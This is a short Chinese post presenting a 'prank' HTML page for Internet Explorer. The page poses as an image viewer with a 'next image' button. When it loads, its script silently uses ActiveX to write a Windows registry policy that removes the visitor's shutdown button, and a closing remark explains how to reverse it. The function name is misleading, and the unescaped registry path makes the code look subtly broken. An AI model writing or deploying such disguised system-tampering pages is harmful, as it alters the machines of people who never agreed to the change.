纯属恶作剧（只对IE浏览器有效因为要调用ActiveX）
<!--
E-mail：shyhero@outlook.com
Author: dujianing
删除关机按钮
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title></title>
<script type="text/javascript" language="javascript">
function disableTaskMgr(flg){
var shell = new ActiveXObject("WScript.Shell");
try{
shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",
1,"REG_DWORD")
}catch(e){
throw e;
}
}
</script>
</head>
<body onLoad="disableTaskMgr(true)">
<img src="imgs/2.jpg"/>
<button onclick="disableTaskMgr(true)">下一张
</button>
</body>
</html>
备注：可以恶作剧一下，修改注册表，把值改为0就能还原